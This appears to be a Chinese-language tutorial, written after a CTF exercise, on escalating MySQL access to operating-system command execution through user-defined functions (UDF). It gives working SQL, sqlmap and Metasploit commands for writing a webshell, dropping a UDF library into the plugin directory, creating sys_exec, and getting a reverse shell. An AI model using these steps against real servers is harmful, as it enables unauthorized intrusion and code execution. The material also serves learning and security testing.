mysql UDF提权
上次做题的时候遇到了各UDF提权没有做出来,遂补习,建立在已经获得基础权限需要提权到mysql的情况下
权限获取
简单罗列一些,这次主要研究UDF提权的手段。
1.sqlmap -os-shell
2.手工dumpfile
3.NDAY
webshell
- 知道网站根目录
- 有mysqlroot权限
- secure_file_priv 为空,无限制
secure_file_priv可以通过show global variables like '%secure_file_priv%';来查询,NULL不允许写入
SELECT '<?php phpinfo(); ?>' INTO DUMPFILE '/www/wwwroot/192.168.56.102_8083/phpinfo.php';
手动UDF
UDF(User Defined Function)顾名思义用户自定义函数,一般形式是用c语言编写的动态链接库,windows为dll,linux为so,所以不准确的说UDF是一种C代码执行
UDF提权除了需要以上写shell的权限还需要mysql的plugin文件夹有写入权限,才能完成
获得动态链接库文件
我知道的比较方便获得动态链接库的方式有三种
-
Exploit-DB 在Expdb中有适用于windows与linux的.c文件,拿出来编译就好


编译方式
-
sqlmap
在sqlmap也自带了UDP的EXP文件位于下载位置的
/data/udf只不过其进行过编码,使用自带的cloak.py解码即可
cloak.py -d -i /opt/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ -
Metasploit
能黑掉宇宙的msf肯定也是有的

有趣的是Metasploit和sqlmap的so是一样的


寻找plugin目录
show variables like '%plugin%';
一般会返回如下的信息
| default_authentication_plugin | mysql_native_password |
|---|---|
| plugin_dir | /www/server/mysql/lib/plugin/ |
| replication_optimize_for_static_plugin_config | OFF |
/www/server/mysql/lib/plugin/这个就是udf目录
UDF写入
sqlamp写入
利用sqlmap写入需要以下条件,POSTsql注入;mysql高权限;secure_file_priv为空,及可以在任意位置输出文件;plugin目录允许写入,一般默认是不允许。
sqlmap -r /home/neko/Desktop/1.txt --file-write="/home/neko/NekoData/temp/udfexp.so" --file-dest="/www/server/mysql/lib/plugin/udf.so"


手动查询写入
如果没有注入,有webshell或者其他连接服务器的手段那就可以尝试直接使用查询语句来写入,条件与上面无异,利用方式与写shell差不多
select 0x[十六进制] into dumpfile "/www/server/mysql/lib/plugin/udf.so"
当然直接传输16进制可能会出现问题,之前就遇到过不准确的问题所以也可以在将文件直接传入服务器可操作的目录在传入mysql在传入plugin文件夹
create table test(line blob);
insert into foo values(load_file('/www/wwwroot/192.168.56.102_8083/udfexp.so'));
select * from foo into dumpfile '/www/server/mysql/lib/plugin/udf.so';
利用
在传入so后利用需要创建函数
create function [函数名] returns integer soname 'udf.so';

函数名的查询可以通过nm -D udf.so命令获取,这时候使用sys_exec函数会发现如果成功执行会返回0,如果失败则返回其他数字

那就可以尝试来做反弹shell了

UDF工具
MSF
msf属于经典中的经典,使用的是exploit/multi/mysql/mysql_udf_payload这个模块,在知道mysql允许外连和知道的root密码下可以直接生成反弹shell

可以看到plugin目录下被写入了一个so文件

而后利用他做了一个反弹
Navicat http隧道
Navicat是一个非常好用的sql工具,他有一个通过http隧道连接的工具,如果我们控制的设备sql能上传文件pl文件夹也有写权限那就可以考虑向他写入一个navicat隧道来连接sql

界面大致是这样样子


根据上面利用就好